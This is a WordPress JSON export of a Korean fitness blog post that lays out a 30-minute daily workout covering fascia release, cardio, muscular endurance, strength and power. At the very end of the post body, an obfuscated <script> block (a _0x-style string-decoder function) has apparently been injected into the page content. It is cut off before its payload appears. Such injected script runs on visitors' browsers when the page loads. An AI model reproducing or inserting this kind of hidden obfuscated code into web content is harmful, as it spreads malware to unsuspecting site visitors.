{"id":2046,"date":"2021-02-26T12:09:57","date_gmt":"2021-02-26T03:09:57","guid":{"rendered":"http:\/\/aligns.co.kr\/?p=2046"},"modified":"2021-10-12T12:55:50","modified_gmt":"2021-10-12T03:55:50","slug":"fit-2","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/fit-2\/","title":{"rendered":"\ud558\ub8e8 30\ubd84 \ub0b4 \ubab8\uc5d0 \ud22c\uc790\ud558\uc5ec \uccb4\uacc4\uc801\uc73c\ub85c \uc6b4\ub3d9\ud558\ub294 \ubc95"},"content":{"rendered":"\n<p>\uc5ec\ub7ec\ubd84\uc740 \ud558\ub8e8 \uc6b4\ub3d9\uc744 \uc704\ud574 \uc5bc\ub9c8\ub098 \ud22c\uc790\ub97c \ud574\uc57c \uc801\ub2f9\ud558\ub2e4\uace0 \uc0dd\uac01\ud558\uc2dc\ub098\uc694? \uc0ac\ub78c\ub9c8\ub2e4 \uadf8 \uae30\uc900\uc740 \uac01\uae30 \ub2e4\ub974\uaca0\uc8e0. \uc624\ub298\uc758 \uce7c\ub7fc\uc740 \ud558\ub8e8 10\ubd84\ub3c4 \ub0b4 \ubab8\uc744 \uc704\ud574 \ud22c\uc790\ud560 \uc815\uc2e0\uc774 \uc5c6\ub2e4 \ud558\ub294 \ubd84\ub4e4\uaed8\ub294 \uad8c\ud574\ub4dc\ub9ac\uc9c0 \uc54a\ub294 \uc8fc\uc81c\uc785\ub2c8\ub2e4. \ud558\ub8e8 \ub531 30\ubd84, \uc5f4\uc2ec\ud788 \ub0b4 \uc2e0\uccb4\uc801, \uc815\uc2e0\uc801, \uacfc\uc5c5\uc801\uc73c\ub85c \ub354 \ub098\uc740 \uc131\uacfc\ub97c \uc704\ud574 \uae30\uaebc\uc774 \uccb4\ub825 \ub2e8\ub828\uc5d0 \ud22c\uc790\ud560 \uc758\uc0ac\uac00 \uc788\ub294 \uc774\ub4e4\uc5d0\uac8c \ub9d0\uc500\ub4dc\ub9ac\ub294 \ub0b4\uc6a9\uc785\ub2c8\ub2e4. \ud558\ub8e8 30\ubd84, \uccb4\uacc4\uc801\uc774\uace0 \ud6a8\uacfc\uc801\uc73c\ub85c \uc6b4\ub3d9\ud558\ub294 \ubc95 \ud568\uaed8 \uc54c\uc544\ubcfc\uae4c\uc694?<\/p>\n\n\n\n<p>\u25a1 \uadfc\ub9c9\uc774\uc644 \ubc0f \uc2a4\ud2b8\ub808\uce6d \u2013 3~5 \ubd84<\/p>\n\n\n\n<p>\uadfc\ub9c9\uc740 \uc5ec\ub7ec\ubd84\uc758 \uadfc\uc721 \uc870\uc9c1\uc758 \uac89\uc5d0 \ubd99\uc740 \ucc44\ub85c \uc870\uc9c1\uc744 \ub458\ub7ec\uc2f8\uace0 \uc788\ub294 \ud544\ub984 \ub9c9\uc774\ub77c\uace0 \ubcf4\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \ud558\uc9c0\ub9cc \uc2e4\uc81c \ud544\ub984\ucc98\ub7fc \ub2e8\uc21c\uc774 \ud50c\ub77c\uc2a4\ud2f1 \ub369\uc5b4\ub9ac\uac00 \uc544\ub2cc , \uadfc\uc721\uc774 \uc218\ucd95\ud558\ub294 \uacfc\uc815\uc744 \uc815\ud655\ud558\uac8c \uac00\uc774\ub4dc\ud574\uc8fc\ub294 \uc2e0\uacbd\ub4e4\ub85c \uc12c\uc138\ud558\uac8c \uc774\ub8e8\uc5b4\uc9c4 \ub124\ud2b8\uc6cc\ud06c \ub9c9\uc774\uc8e0 . \uadfc\ub9c9\uc5d0 \uc788\ub294 \uc774 \uc2e0\uacbd\ub4e4\uc740 \uac00\ub054 \uc628\uc564\uc624\ud504 (on and off) \uc2a4\uc704\uce58 \ucc98\ub7fc \uc798\ubabb \uc791\ub3d9\ud558\ub294 \uacbd\uc6b0\uac00 \uc788\ub294\ub370 \uc774\ub294 \uc885\uc885 \uc758\ub3c4\uce58 \uc54a\uc740 \uadfc\uc721\uc758 \uae34\uc7a5 \ub610\ub294 \ud2b9\uc815\ud55c \uc2e0\uccb4 \uc6c0\uc9c1\uc784\uc744 \uc720\ubc1c\ud560 \ub54c\uac00 \uc788\uc2b5\ub2c8\ub2e4 . \uadfc\uc721\uc774 \uacc4\uc18d\ud574\uc11c &#8220;On&#8221; \uc0c1\ud0dc\uc77c \uc2dc \uc6b0\ub9ac \ubab8\uc758 \ubf08\ub098 \uad00\uc808\uc744 \uc798\ubabb\ub41c \uc9c0\uc810\uc73c\ub85c \uc7a1\uc544\ub2f9\uae30\uba74\uc11c \ubee3\ubee3\ud568\uc774\ub098 \uc2e0\uccb4\ub3d9\uc791\uc758 \uc81c\ud55c\uc744 \uc77c\uc73c\ud0a4\uc8e0.<\/p>\n\n\n\n<p>\uadfc\ub9c9\uc744 \uc774\uc644\ud574\uc8fc\ub294 \ud589\uc704\ub294 \uc774\ub807\uac8c \uae34\uc7a5\ub418\uace0 \ubee3\ubee3\ud574\uc9c4 \uadfc\uc721 \uc870\uc9c1\uc744 \ubd80\ub4dc\ub7fd\uac8c \ud480\uc5b4\uc8fc\uace0 \uc6b0\ub9ac\uac00 \uc815\uc0c1\uc801\uc73c\ub85c \uc6c0\uc9c1\uc77c \uc218 \uc788\ub3c4\ub85d \ub3c4\uc640\uc8fc\ub294 \ub370\uc5d0 \ud070 \uc5ed\ud560\uc744 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uae30\ub3d9\uc131\uacfc \uc720\uc5f0\uc131 \ub2e8\ub828\uc758 \ubaa9\uc801\uc740 \ud1b5\uc99d \uc5c6\ub294 \uc0b6\uc744 \uc0b4\uace0 , \uc0ac\ub294 \ub3d9\uc548 \uacc4\uc18d\ud574\uc11c \uc790\uc720\ub86d\uac8c \ubab8\uc744 \uc6c0\uc9c1\uc77c \uc218 \uc788\uac8c\ub054 \ud558\uae30 \uc704\ud568\uc785\ub2c8\ub2e4 . \uc544\uce68\uc5d0 \uc77c\uc5b4\ub098 \ubab8\uc744 \uc6c0\uc9c1\uc5ec\uc8fc\uace0 ,<\/p>\n\n\n\n<p>\ub2e4\uc591\ud55c \ub3d9\uc791\ub4e4\ub85c \uad00\uc808\uc744 \uc0ac\uc6a9\ud574\uc8fc\uac70\ub098 \uadfc\uc721\uc5d0 \ub9c8\uc0ac\uc9c0\ub97c \ud574\uc8fc\ub294 \uac83\ub9cc\uc73c\ub85c\ub3c4 \uc6b0\ub9ac\uc758 \ub0b4\uad6c\ub825\uc774 \ud06c\uac8c \ud5a5\uc0c1\ub418\uc8e0.<\/p>\n\n\n\n<p>\u25a1 \uc720\uc0b0\uc18c &#8211; 10 \ubd84<\/p>\n\n\n\n<p>\ud53c\ub77c\ubbf8\ub4dc\uc758 \ub450 \ubc88\uc9f8 \uce35\uc740 \uc720\uc0b0\uc18c \uae30\ub2a5\uc785\ub2c8\ub2e4 . \ud639\uc2dc \ubd88\uacfc \uacc4\ub2e8 \uba87 \uac1c\ub9cc \uc62c\ub790\uc744 \ubd84\uc778\ub370 \uc9c0\uccd0\uc11c \uba48\ucdb0 \uc11c\uac70\ub098 , \ub3c4\ub9dd \ub2e4\ub2c8\ub294 \uc544\uc774\ub97c \ucad2\uc544 \ub2e4\ub2c8\ub2e4\uac00 \uac00\uc05c \uc228\uc744 \ubab0\uc544\uc26c\uba74\uc11c \ubab8\uc744 \uc794\ub729 \uad6c\ubd80\ub9ac\ub294 \uc0ac\ub78c\ub4e4\uc744 \ubcf8 \uc801 \uc788\uc73c\uc2e0\uac00\uc694 ? \uc774\uac83\ub4e4\uc740 \ubaa8\ub450 \uadf8\ub4e4\uc758 \uc720\uc0b0\uc18c \uae30\ub2a5\uc774 \uc57d\ud558\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4 . \uc720\uc0b0\uc18c (cardio) \ub294 \uc0ac\uc2e4 \uc2ec\ud608\uad00 \uae30\ub2a5 (cardiovascular fitness) \uc758 \uc57d\uc790\uc785\ub2c8\ub2e4 . \uadfc\uc721\uc758 \uc5d0\ub108\uc9c0\ub97c \uc0dd\uc131\ud558\uae30 \uc704\ud574 \uc5bc\ub9c8\ub098 \ub9ce\uc740 \uc591\uc758 \uc0b0\uc18c\ub97c \ud6a8\uc728\uc801\uc73c\ub85c \uc804\ub2ec\ud558\uace0 \ud65c\uc6a9\ud558\ub294 \uc9c0\uc5d0 \uad00\ub828\ub41c \uae30\ub2a5\uc774\uc8e0. \ud3d0\uc5d0\uc11c \uc0b0\uc18c\uac00 \ud48d\ubd80\ud55c \ud608\uc561\uc744 \ubab8 \uc804\uccb4\uc5d0 \uc804\ub2ec\ud558\uae30 \uc704\ud574\uc11c \uc5ec\ub7ec\ubd84\uc758 \uc2ec\uc7a5 \ubc15\ub3d9 \uc218\uc640 \ud638\ud761\ub960\uc774 \uc62c\ub77c\uac00\uac8c \ub429\ub2c8\ub2e4 . \uadf8\ub9ac\uace0 \uc2ec\uc7a5\uacfc \ud3d0\uac00 \uc9c0\uc18d\uc801\uc73c\ub85c \uadfc\uc721\uc5d0 \uc0b0\uc18c\ub97c \uc8fc\uc785\ud558\ub294 \ud55c \uc5ec\ub7ec\ubd84\uc740 \uacc4\uc18d \uc6c0\uc9c1\uc77c \uc218 \uc788\uac8c \ub418\ub294 \uac83\uc774\uc8e0 . \ubb3c\ub860 \uadfc\uc721\uc758 \ud53c\ub85c , \uadf8\ub9ac\uace0 \uc816\uc0b0\uacfc \uac19\uc740 \ubab8\uc758 \ud654\ud559\uc801 \uc791\uc6a9 \ub4f1\uc73c\ub85c \uc6b0\ub9ac\uac00 \ub354 \uc774\uc0c1 \uc6c0\uc9c1\uc774\uae30 \uc5b4\ub835\uac8c \ub418\uae30 \uc804\uae4c\uc9c0\ub294 \ub9d0\uc785\ub2c8\ub2e4 . \uc774 \ubaa8\ub4e0 \uac83\ub4e4\uc744 \uc544\uc6b0\ub974\ub294 \uac83\uc774 \ubc14\ub85c \uc720\uc0b0\uc18c \uae30\ub2a5\uc778 \uac83\uc774\uc8e0 . VO2 Max \ub77c\uace0 \ubd88\ub9ac\uae30\ub3c4 \ud558\uc9c0\ub9cc \uaf2d \uace0\uae09\uc9c4 \uc0f4\ud478 \ube0c\ub79c\ub4dc \uc774\ub984\uac19\uc774 \ub4e4\ub9ac\ub2c8 \uc774 \ucc45\uc5d0\uc11c\ub294 \uadf8\ub0e5 \uc720\uc0b0\uc18c \uae30\ub2a5\uc73c\ub85c \ubd80\ub974\ub294 \uac8c \uc88b\uaca0\ub124\uc694.<\/p>\n\n\n\n<p>\uace0\uac15\ub3c4 \uc778\ud130\ubc8c \ud2b8\ub808\uc774\ub2dd (High interval training) \uc774\ub77c\ub294 \uc6a9\uc5b4\ub97c \uc544\ub9c8 \ud55c\ubc88\ucbe4 \ub4e4\uc5b4\ubcf4\uc2e0 \uc801\uc774 \uc788\uc744 \uac81\ub2c8\ub2e4 . \uc694\uc998 \uc544\uc8fc \ud56b\ud55c \uc720\ud589\uc744 \ub04c\uace0 \uc788\ub294 \uc6a9\uc5b4 \uc911 \ud558\ub098\uc8e0 . \uc77c\ubc18\uc801\uc73c\ub85c , \uc2ec\uc7a5 \uac15\ud654 \uae30\ub2a5\uc744 \ud3ec\ud568\ud55c \ubab8\uc758 \uc5ec\ub7ec \uc804\ub825 \uc2dc\uc2a4\ud15c\uc774 \ud65c\uc6a9\ub418\ub294 \ubc18\ubcf5\uc801 \uace0\uac15\ub3c4 \uc6b4\ub3d9\uc744 \ub73b\ud558\ub294 \uc6a9\uc5b4\uc785\ub2c8\ub2e4. \uc774 \uace0\uac15\ub3c4 \uc778\ud130\ubc8c \ud2b8\ub808\uc774\ub2dd (HUT) \uc774 \uc5ec\ub7ec\ubd84\uc758 \uc2ec\ud608\uad00 \uac74\uac15\uc758 \uae30\ubcf8\uc744 \ub2e4\uc9c0\ub294 \ub370\uc5d0 \uc544\uc8fc \ud6a8\uc728\uc801\uc778 \ubc29\ubc95\uc774\uc790 , \uc5ec\ub7ec\ubd84\uc758 VO2 max \ub97c \ud3ed\ubc1c\uc801\uc73c\ub85c \ub04c\uc5b4\uc62c\ub824 \uc8fc\ub294 \ubc29\ubc95\uc778 \uac83\uc740 \ubd84\uba85\ud558\uc9c0\ub9cc \uc774\uc640 \ubcc4\uac1c\ub85c \ub7ec\ub2dd , \uc218\uc601 , \uc790\uc804\uac70 \ud0c0\uae30 \ub4f1 \uaddc\uce59\uc801\uc778 \uc18d\ub3c4\uc640 \ud798\uc744 \uc694\uad6c\ud558\ub294 \uc6b4\ub3d9\ub3c4 \ubcd1\ud589\ud574\uc8fc\uc5b4\uc57c \ud55c\ub2e4\ub294 \uc810\uc5d0 \ub300\ud574\uc11c\ub3c4 \ub9ce\uc740 \uc758\uacac\ub4e4\uc774 \ubd84\ubd84\ud569\ub2c8\ub2e4 . \uc9c0\uad6c\ub825\uc758 \uae30\ucd08\ub97c \ub354 \ub2e8\ub2e8\ud788 \ud558\ub294 \uac83\uc5d0 \uc788\uc5b4\uc11c , \ud2b9\ud788 \uc6b4\ub3d9\uc744 \ucc98\uc74c \ud558\ub294 \uc774\ub4e4\uc774\ub098 \uc624\ub798 \uc270 \uc774\ub4e4\uc744 \uc704\ud574\uc11c\ub3c4 \uc774\ub7f0 \ub2e4\uc591\uc131\uc740 \ub9e4\uc6b0 \uc720\uc6a9\ud558\uc8e0 . \ub9e8 \uc704\uc5d0 \uc5b8\uae09\ud55c \uc0ac\ub78c\ub4e4\ucc98\ub7fc \uc0c8\ud574\uc5d0 \ubb34\uc791\uc815 \uccb4\uc721\uad00 \uc774\uc6a9\uad8c\uc744 \ub04a\uc740 \ud6c4 \uba87 \uc77c \uc548 \ub418\uc5b4 \uc9c0\uccd0 \ub098\uac00\ub5a8\uc5b4\uc9c0\ub294 \ud604\uc0c1 \ub610\ud55c \ucc28\uadfc\ucc28\uadfc \uae30\ucd08\ub97c \ub2e4\uc9c0\uae30\ub3c4 \uc804\uc5d0 \ubc14\ub85c \uc774\ub7f0 \uace0\uac15\ub3c4 \uc778\ud130\ubc8c \uc6b4\ub3d9\uc5d0 \ub6f0\uc5b4\ub4e4\uc5b4 \ubc84\ub824 \uc77c\uc5b4\ub09c \uacbd\uc6b0\uac00 \ub9ce\uc2b5\ub2c8\ub2e4 . \uadf8\ub798\uc11c \uc6b0\ub9ac\ub294 \uc8fc\ub85c \uc9c0\uc18d\uc801\uc778 \uc18d\ub3c4\uc640 \ud798\uc5d0 \uae30\ubc18\ud558\ub294 10 \ubd84\uc758 \uc720\uc0b0\uc18c \uc6b4\ub3d9\uc73c\ub85c \uc2ec\uc791 \ubc15\ub3d9 \uc218\ub97c \ub298\ub9ac\ub294 \ub370\uc5d0 \ucd08\uc810\uc744 \ub9de\ucda4\uc73c\ub85c\uc368 , \ub098\uba38\uc9c0 \uc6b4\ub3d9\uc5d0\uc11c \uadfc\uc721\uc744 \ubcf8\uaca9\uc801\uc73c\ub85c \uc4f0\uae30 \uc2dc\uc791\ud560 \ub54c \uadfc\uc721\uc5d0 \ud638\ub974\uba54\uc2dc\uc2a4 \uc2a4\ud2b8\ub808\uc2a4\ub97c \ucda9\ubd84\ud788 \uac00\ud574 \ub354 \ud070 \uc9c0\uad6c\ub825\uc744 \ub04c\uc5b4\ub0b4\uac8c \ud560 \uac81\ub2c8\ub2e4 . \uc774\ub294 \ub610\ud55c \uc5ec\ub7ec\ubd84\uc774 \uc6b4\ub3d9\uc744 \ud3ec\uae30\ud558\uac8c \ub418\ub294 \uc0ac\ud0dc\ub97c \ucd5c\ub300\ud55c \ubc29\uc9c0\ud558\ub294 \ub370\uc5d0\ub3c4 \ub3c4\uc6c0\uc744 \uc8fc\uc8e0.<\/p>\n\n\n\n<p>\u25a1 \uadfc\uc9c0\uad6c\ub825 &#8211; 8 \ubd84<\/p>\n\n\n\n<p>\uc138 \ubc88\uc9f8 \uad6c\uac04\uc740 \uadfc\uc9c0\uad6c\ub825\uc785\ub2c8\ub2e4 . \uc77c\ubc18\uc801\uc73c\ub85c \uc2ec\ud3d0\uc9c0\uad6c\ub825\uc774\ub77c\uace0 \ud558\ub294 \uac83\uacfc \uadfc\uc9c0\uad6c\ub825\uc758 \ub2e4\ub978 \uc810\uc740 \uc5ec\ub7ec\ubd84\uc758 \uc6c0\uc9c1\uc784\uc774\ub098 \ud65c\ub3d9\uc5d0 \uc81c\ud55c\uc774 \uc628 \uc6d0\uc778\uc774 \uc5ec\ub7ec\ubd84\uc758 \uc720\uc0b0\uc18c \uae30\ub2a5 ( \ud3d0 ) \uc778\uc9c0 \uadfc\uc721\uc758 \ud53c\ub85c\uc778\uc9c0\uc5d0 \ub530\ub77c \uac08\ub9ac\ub294 \uac83 \uc774\uc8e0 . \uc774 \ub450 \uac00\uc9c0\uac00 \ub3d9\uc2dc\uc5d0 \uacb9\uce58\ub294 \uacbd\uc6b0\ub3c4 \ubb3c\ub860 \uc788\uc9c0\ub9cc \ubcf4\ud1b5\uc740 \ud2b9\uc815 \ud558\ub098\uac00 \ub098\uba38\uc9c0 \ud558\ub098\ubcf4\ub2e4 \uba3c\uc800 \ud55c\uacc4\uc5d0 \uc774\ub974\ub294 \uacbd\uc6b0\uac00 \ub354 \ub9ce\uc2b5\ub2c8\ub2e4 . \uc5ec\ub7ec\ubd84\uc758 \uc228\uc774 \ucc28\ub294 \uacbd\uc6b0\ub294 \uac70\uc758 \ub300\ubd80\ubd84 \uc5ec\ub7ec\ubd84\uc758 \uc2ec\ud3d0\uc9c0\uad6c\ub825\uacfc \ub354 \ud070 \uad00\ub828\uc774 \uc788\uc8e0 . \uc0ac\uc774\ud074\ub9c1\uc744 \ud558\ub2e4\uac00 \ud5c8\ubc85\uc9c0\uac00 \ubd88\uc5d0 \ud0c0\ub294 \ub290\ub08c\uc774 \ub4e4\uac70\ub098 \ub85c\uc789 (rowing) \uc73c\ub85c \ud314\uc774 \uac70\uc758 \ud280\uaca8\uc9c0\ub294 \ub4ef\ud55c \uae30\ubd84\uc774 \ub4e4\uc5b4 \uba48\ucd94\uac8c \ub420 \uacbd\uc6b0\ub294 \uadfc\uc9c0\uad6c\ub825\uacfc \uad00\ub828\uc774 \uc788\uc2b5\ub2c8\ub2e4 . \uc9c0\uc18d\uc801\uc778 \uc0ac\uc6a9\uc73c\ub85c \uc778\ud574 \ubab8\uc758 \uadfc\uc721\uc774 \ud53c\ub85c\ub97c \ub290\ub07c\ub294 \ud604\uc0c1\uc5d0\uc11c \ube44\ub86f\ub41c \uc0c1\ud669\ub4e4\uc774\uc8e0.<\/p>\n\n\n\n<p>\uadfc\uc9c0\uad6c\ub825\uc740 \uadfc\uc721\uc758 \ud798 , \uadf8\ub9ac\uace0 \uc7a5\uae30\uc801\uc73c\ub85c \uc9c0\uc18d\ub420 \uc218 \uc788\ub294 \uc9c0\uad6c\ub825\uc744 \uae00\uc5b4\ub0b4\ub294 \uc77c\uc5d0 \ubaa8\ub450 \ud070 \uc5ed\ud560\uc744 \ud558\uac8c \ub429\ub2c8\ub2e4 . \uc801\uc808\ud55c \uc2dc\uac04\ub3d9\uc548 \uc801\uc808\ud55c \ud798\uc744 \uac00\ud574 \uc9c0\uc18d\uc801\uc778 \uc18d\ub3c4\ub85c \uadfc\uc721 \uc0ac\uc6a9\uc744 \ubc18\ubcf5\ud560 \uc218 \uc788\ub3c4\ub85d \ub3c4\uc6c0\uc744 \uc8fc\uc8e0 . \uc911\uac70\ub9ac \ub9c8\ub77c\ud1a4 , \ucd95\uad6c , \uc218\uc601 , \ud558\uc774\ud0b9 , \ubcf5\ud569 \ubb34\uc220 , \ud30c\uc6cc \uc694\uac00 \ub4f1\uc774 \uadf8 \uc608\uac00 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadfc\uc9c0\uad6c\ub825\uc744 \ub2e8\ub828\ud558\ub294 \ub370\uc5d0\ub294 \uc55e\uc11c \uc124\uba85 \ub4dc\ub9b0 \uac83\ub4e4\uacfc \uac19\uc740 \ube44\uad00\uc2b5\uc801\uc778 \uc6b4\ub3d9 \ub3c4\uad6c\ub97c \ud65c\uc6a9\ud558\ub294 \uac83\uc774 \ud070 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4 . \uc774\ub7f0 \ub3c4\uad6c\ub4e4\uc740 \uc81c\uc5b4\ub41c \ubab8\uc758 \uc6c0\uc9c1\uc784\uc774\ub098 \ud68c\uc804 \ub2a5\ub825 , \uadf8\ub9ac\uace0 \ub2e4\ubc29\ud5a5 , \ub2e4\uac01\ub3c4\uc758 \ub3d9\uc791\uc744 \uc18c\ud654\ud558\ub294 \ub2a5\ub825\uc744 \ud0a4\uc6b0\ub294 \ub370\uc5d0 \ud070 \ud6a8\uacfc\ub97c \uac00\uc838\ub2e4\uc8fc\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4 . \ub610\ud55c \ucd5c\ub300 \ubb34\uac8c\ub97c \ub4e4\uc5b4 \uc62c\ub9ac\ub294 \ub3d9\uc791\ub4e4\uacfc \ubc18\ub300\ub85c \ubab8\uc5d0 \uac00\ud574\uc9c0\ub294 \uc800\ud56d\ub825\uc774 \uc0c1\ub300\uc801\uc73c\ub85c \uc801\uc5b4 \uc9c0\uc18d\uc801\uc73c\ub85c \ub3d9\uc791\uc744 \ubc18\ubcf5\ud558\ub294 \uac83\uc744 \uac00\ub2a5\ud558\uac8c \ud574\uc90d\ub2c8\ub2e4 . \ubd80\uc0c1\uc758 \uc704\ud5d8\uc744 \ucd5c\uc18c\ud654 \ud558\ub294 \ub3d9\uc2dc\uc5d0 \uc9c0\uad6c\ub825\uc744 \ub2e4\uc9c0\ub294 \uacfc\uc815\uc758 \uae30\ubcf8 \ud2c0\uc744 \uae54\uc544\uc8fc\ub294 \uac83\uc774\uc8e0.<\/p>\n\n\n\n<p>\u25a1 ( \uae30\ubcf8 ) \uadfc\ub825 &#8211; 5 \ubd84<\/p>\n\n\n\n<p>\uadfc\ub825\uc740 \uac01 \uc2e0\uccb4 \ubd80\uc704\uc758 \uadfc\uc721\uc744 \ubaa8\uc544 \uc218\ucd95\uc2dc\ud0a4\ub294 \uacfc\uc815\uc744 \ud1b5\ud574 \ucd5c\ub300\ud55c\uc758 \ubb34\uac8c\ub97c \uc6c0\uc9c1\uc774\ub294 \ub2a5\ub825\uc785\ub2c8\ub2e4. \uc5ec\ub7ec\ubd84\uc740 \ucc28\uc5d0\uc11c \uc9d1\uae4c\uc9c0 \uac00\ub294 \ub370 \ud55c \ubc88\uc5d0 \uc5bc\ub9c8\ub098 \ub9ce\uc740 \uc591\uc758 \uc7a5\ubc14\uad6c\ub2c8\ub97c \ub098\ub97c \uc218 \uc788\ub098\uc694 ? \ub610 \ub204\uad70\uac00\uac00 \uc5ec\ub7ec\ubd84 \ubab8\uc5d0 \ud558\ub124\uc2a4\ub97c \uc50c\uc6cc\uc8fc\uba74 \uba87 \uac1c\uc758 737 \uc81c\ud2b8\uae30\ub97c \ub04c \uc218 \uc788\ub098\uc694 ? \uadfc\ub825\uc740 \uc22b\uc790\ub85c\ub9cc \ucc45\uc815\ub418\ub294 \uac83\uc774 \uc544\ub2cc \uac1c\uc778\uc758 \uc2e0\uccb4\uc801 \uad6c\uc870\uc640 \uc790\uc5f0\uc801\uc73c\ub85c \ud0c0\uace0\ub09c \ub2a5\ub825\uacfc \uad00\ub828\ud558\uc5ec \uc804\uccb4\uc801\uc73c\ub85c \uce21\uc815\uc774 \ub418\ub294 \uc694\uc18c\uc785\ub2c8\ub2e4 . \uc6b0\ub9ac\ub294 \uac01\uae30 \ub2e4\ub978 \uc0ac\ub78c\uc73c\ub85c \ud0dc\uc5b4\ub0ac\uc73c\ubbc0\ub85c \ub2f9\uc5f0\ud788 \uc800\uc758 \ud798\uacfc \uc5ec\ub7ec\ubd84\uc758 \ud798\uc740 \ubaa8\ub450 \ub2e4\ub974\ub4ef\uc774 \ub9d0\uc774\uc8e0.<\/p>\n\n\n\n<p>\ub9ce\uc740 \uc774\ub4e4\uc774 \uadfc\ub825 \ub2e8\ub828\uc5d0 \uad00\ud574\uc11c \ub2e8\uc21c\ud788 \ud798\uc774 \uc138\uc9c0\uace0 \uadfc\uc721\uc744 \uae38\ub7ec\ub0b4\ub294 \uac83 \uc774\uc678\uc758 \ud6a8\uacfc\ub294 \uadf8\ub2e4\uc9c0 \uc798 \uc0dd\uac01\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4 . \ubb3c\ub860 \uc704\uc758 \ubaa9\uc801\uc73c\ub85c\ub3c4 \ubd84\uba85 \ub9e4\uc6b0 \ud070 \ud6a8\uacfc\uac00 \uc788\uc9c0\ub9cc ,<\/p>\n\n\n\n<p>\u25a0 \uc21c\ubc1c\ub825 &#8211; 3 \ubd84<\/p>\n\n\n\n<p>\ub9c8\uc9c0\ub9c9 \uad6c\uac04\uc740 \uc21c\ubc1c\ub825\uc785\ub2c8\ub2e4 . \uac00\uc7a5 \uaf2d\ub300\uae30 \uce35\uc774\uc8e0 . \uadfc\ub825\uc774 \uc6c0\uc9c1\uc784\uc744 \ub9cc\ub4e4\uc5b4\ub0b4\uae30 \uc704\ud574 \uc2e0\uccb4\uc758 \ud798\uc744 \uc5b4\ub5a4 \uc800\ud56d\uc5d0 \ub9de\uc11c \uac00\ud558\ub294 \uac83\uc774\ub77c\uba74 , \uc21c\ubc1c\ub825\uc740 \uadf8 \ub3d9\uc77c\ud55c \uc6c0\uc9c1\uc784\uc744 \ub9cc\ub4e4\uc5b4\ub0b4\uae30 \uc704\ud574 \ud544\uc694\ud55c \uc2e0\uccb4\uc758 \ud798\uc774 \ubc1c\uc0dd\ub418\ub294 \uc18d\ub3c4\uc785\ub2c8\ub2e4 . \uc774\ub294 \uc6b4\ub3d9\uc120\uc218\ub4e4\uc5d0\uac8c \uac00\uc7a5 \uc911\uc694\ud55c \uc694\uc18c\ub85c , \uc774\ub4e4\uc744 \uc704\ud55c \uc218 \ub9ce\uc740 \ud6c8\ub828\ubc95\ub4e4\uc774 \uc2e4\uc81c\ub85c \uc774 \uc21c\ubc1c\ub825 \uac15\ud654\ub97c \ud575\uc2ec\uc73c\ub85c \ub450\uace0 \uc788\uc8e0 . \uc21c\ubc1c\ub825\uc740 \uc5bc\ub9c8\ub098 \uc138\uac8c \ud380\uce58\ub97c \ub0a0\ub9ac\ub294\uc9c0 , \uc5bc\ub9c8\ub098 \ud3ed\ubc1c\uc801\uc778 \ud798\uc73c\ub85c \uc810\ud504\ub97c \ud558\uace0 \uc5bc\ub9c8\ub098 \ube60\ub974\uace0 \uba40\ub9ac \uacf5\uc744 \ub358\uc9c0\ub294 \uc9c0\uc5d0 \ub300\ud55c \uc694\uc18c\uc774\uc8e0.<\/p>\n\n\n\n<p>\uc8e0 . \uc21c\ubc1c\ub825 \uae30\ub2a5\uc740 \ub9e4\uc6b0 \uc911\uc694\ud569\ub2c8\ub2e4 . \uadf8\ub807\uc9c0 \uc54a\ub2e4\uba74 \uc774 \ud53c\ub77c\ubbf8\ub4dc\uc5d0 \ud3ec\ud568\ub418\uc9c0 \uc54a\uc558\uaca0\uc8e0 . \ud558\uc9c0\ub9cc \uc21c\ubc1c\ub825\uc740 \ubab8\uc5d0 \uac00\uc7a5 \ud070 \ubd80\ub2f4\uc774 \ub418\ub294 \uc694\uc18c\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4 . \uadf8\ub7ec\ubbc0\ub85c \uc9c1\uc5c5\uc774 \uc544\ub2cc \ucde8\ubbf8\ub85c \uc6b4\ub3d9\uc744 \ud558\ub294 \uacbd\uc6b0 \uc0b6\uc758 \uc9c8\uc744 \ub192\uc774\uace0 \ud6a8\uc728\uc801\uc73c\ub85c \ud558\ub8e8\ub97c \ubcf4\ub0b4\ub294 \uc77c\uc5d0 \uc788\uc5b4\uc11c \uc21c\ubc1c\ub825 \uac15\ud654\uc5d0 \ud06c\uac8c \uc2dc\uac04\uc744 \ud22c\uc790\ud558\uc9c0 \uc54a\uc544\ub3c4 \ub429\ub2c8\ub2e4 . \ubc84\uc2a4\uc5d0\uc11c \ube68\ub9ac \ub0b4\ub9ac\uac70\ub098 \uae38\uc5d0\uc11c \uc790\uc804\uac70\ub97c \ud53c\ud558\uac70\ub098 \uc2a4\uc2a4\ub85c\ub97c \ubc29\uc5b4\ud574\uc57c \ud558\ub294 \uc0c1\ud669\uc5d0 \ud544\uc694\ud55c \uc218\uc900\uae4c\uc9c0\ub9cc \ub2e8\ub828\ud574\ub3c4 \ucda9\ubd84\ud558\uc8e0 . \uc81c\uc790\ub9ac\ub6f0\uae30 , \uc704\uc758 \uc0c8\ub85c\uc6b4 \uc6b4\ub3d9 \ub3c4\uad6c\ub85c \uc5b8\uae09\ub41c \ubc30\ud2c0 \ub85c\ud504 , \uadf8\ub9ac\uace0 \ud50c\ub77c\uc774\uc624\uba54\ud2b8\ub9ad\uc2a4 ( \uc21c\ubc1c\ub825 \uc6b4\ub3d9 \uc885\ub958 ) \ubaa8\ub450 \uc774\ub97c \uc704\ud55c \uc88b\uc740 \ubc29\ubc95\uc774 \ub420 \uc218 \uc788\uc73c\uba70 , \uc774\uc640 \ub3d9\uc2dc\uc5d0 \uc27d\uace0 \uc804\uc2e0 \uc6b4\ub3d9\uc774 \ub420 \uc218 \uc788\ub294 \uc218\ub2e8\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function 